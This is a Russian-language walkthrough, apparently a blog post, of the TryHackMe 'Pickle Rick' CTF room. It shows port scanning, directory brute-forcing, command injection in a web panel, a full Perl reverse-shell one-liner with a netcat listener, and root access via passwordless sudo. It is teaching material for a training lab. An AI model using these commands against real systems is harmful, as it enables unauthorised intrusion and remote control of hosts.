CTF (Capture the Flag) — Rick and Morty (Pickle Rick). TryHackMe.
Здравствуйте, дорогие друзья.
Сегодня будем проходить задание CTF, с сайта TryHackMe, которое посвящено мультсериалу Рик и Морти. Наша задача: превратить Рика обратно в человека. Что он сделал до этого, нам предстоит выяснить.
CTF состоит в поиске 3-х ингредиентов, которые размещены в отдельных полях на сайте:
Первое, что нам необходимо сделать – это подключиться к машине. Я буду работать в облаке, чтобы было более понятнее новичкам. К слову сказать, задание категории «Easy», но его нельзя не обойти стороной.
Для начала просканируем ip-адрес на наличие открытых портов, с помощью инструмента nmap. Команда выглядит как: sudo nmap -sV -A 10.10.154.244:
Открытые порты я выделил для более подробного рассмотрения.
80 порт открыт, и мы можем перейти по айпи в браузере. Получаем вывод следующей страницы:
Сразу проверим исходный код странички. Правая клавиша мыши, и выбираем «View Page Source»:
Уже что-то нашли! Это имя пользователя: «RickRul3s», которое нам пригодится в прохождении.
Далее, я воспользуюсь инструментом gobuster, для более подробного рассмотрения сайта, на предмет дополнительных путей расположения директорий. Команда для ввода: gobuster dir -u http://10.10.154.244/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:
Далеко ходить не надо, и проверим первую директорию из списка работы сканера. Это assets/:
В целом, для нас ничего интересного. Скрипты и стандартные библиотеки, такие как jquery, и bootstrap. Проверим файл «robots.txt»:
Похоже на пароль (сохраним его для дальнейшего развития событий).
По логике вещей, предположим, что есть страница для ввода логина и пароля. Это может быть: index.html, index.php, login.php, login.html и т.д. После некоторого времени перебора, я наткнулся на рабочую страницу «login.php»:
Имя и пароль мы обнаружили, и не будем затягивать. Пройдем авторизацию на странице:
Получаем вот такую панель:
Идем опять же в исходники данной страницы, и получаем:
Интересна кодировка «base64», которую я выделил для наглядности. Продолжаем дальше изучать.
Можно перейти по скриптам на php, выше в исходниках страницы, но мы попадем на картинку с небольшим описанием. Попробуем проверить страницу на наличие уязвимости «Command Execution», введя простую команду «ls»:
Отлично. Все работает. Поковыряем, где мы находимся сейчас, с помощью команды «pwd»:
В предыдущем выводе, мы получили какие-то текстовые файлы, которые нам просто необходимо открыть. Проверим одну из записей, с помощью команды «cat»:
Сразу приходит мысль об обратном соединении, для того чтобы открыть файл на нашем хосте. Идем в гугл, и ищем готовый скрипт для reverse shell:
Можно выбрать любой, но мы остановимся на шелле, который написан на Perl: perl -e ‘use Socket;$i=»10.0.0.1″;$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’ Вставляем его в строку для ввода команд, и прописываем наш айпи адрес (проверить можно с помощью команды «ifconfig») и порт:
Порт я указал «4545», и прослушивать его мы будем с помощью инструмента «netcat». Команда: nc –lvp 4545.
Отлично. Получили шелл. Сразу проверяем, под каким пользователем мы находимся. Это команда «id»:
Проверим содержимое текущей директории, с помощью команды «ls»:
По новой возвращаемся к файлу «clue.txt»:
Ничего интересного. Внимание привлекает файл «Sup3rS3cretPickl3Ingred.txt». Выводим его содержимое:
Похоже на первый флаг. Пробуем сдать его:
Отлично. Первый ингредиент найден. Идем дальше, и попробуем повысить права до рута. Идем в директорию «/home», далее перейдя в директорию «rick», мы находим второй ингредиент:
Попробуем открыть этот файл. Команда: «cat “second ingredients”»:
Пробуем сдавать второй флаг:
Отлично, остался последний. Как я говорил, нужно попробовать повысить права до root. Посмотрим настройки учетных записей, с помощью команды: «sudo -l»:
Получаем, что пароли вообще не нужны. Такое редко встречается, но сложность соответствующая. Пробуем команду: «sudo su»:
Итак, мы получили рут доступ. Переходим в директорию «/root», проверяем содержимое каталога:
Привлекает внимание третий файл «3rd.txt». Выводим содержимое файла, с помощью команды «cat»:
Получаем третий ингредиент. Сдаем флаг:
Прекрасно! Мы завершили прохождение данной задачи CTF.
На этом все. Всем хорошего дня!